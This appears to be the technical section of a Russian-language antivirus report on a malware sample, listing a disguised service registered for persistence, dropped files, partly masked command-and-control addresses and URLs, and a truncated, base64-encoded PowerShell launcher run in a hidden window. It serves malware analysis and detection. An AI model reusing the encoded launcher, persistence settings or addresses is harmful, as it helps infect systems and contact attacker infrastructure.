Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\OobeFldr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\OobeFldr] 'ImagePath' = '"<SYSTEM32>\mfreadwrite\OobeFldr.exe"'
- 'OobeFldr' "<SYSTEM32>\mfreadwrite\OobeFldr.exe"
- 'OobeFldr' <SYSTEM32>\mfreadwrite\OobeFldr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIADEAegA1AHQAcgB6AD0AKAAnAFUAdgAnACsAKAAnAGEAJwArACcAYgBmACcAKQArACcAMABmACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBwAFIATwBmAGkAbABlAFwASgB0AG...
- %HOMEPATH%\jteijy5\xkj1bu6\lnca8jpi.exe
- <SYSTEM32>\mfreadwrite\oobefldr.exe
- %HOMEPATH%\jteijy5\xkj1bu6\lnca8jpi.exe в <SYSTEM32>\mfreadwrite\oobefldr.exe
- '50.##1.220.50':80
- http://www.lu###ygt.com/wordpress/a73/
- http://50.##1.220.50/DPbxLH14p3/
- DNS ASK lu###ygt.com
- '%HOMEPATH%\jteijy5\xkj1bu6\lnca8jpi.exe'
- '<SYSTEM32>\mfreadwrite\oobefldr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIADEAegA1AHQAcgB6AD0AKAAnAFUAdgAnACsAKAAnAGEAJwArACcAYgBmACcAKQArACcAMABmACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBwAFIATwBmAGkAbABlAFwASgB0AG...' (со скрытым окном)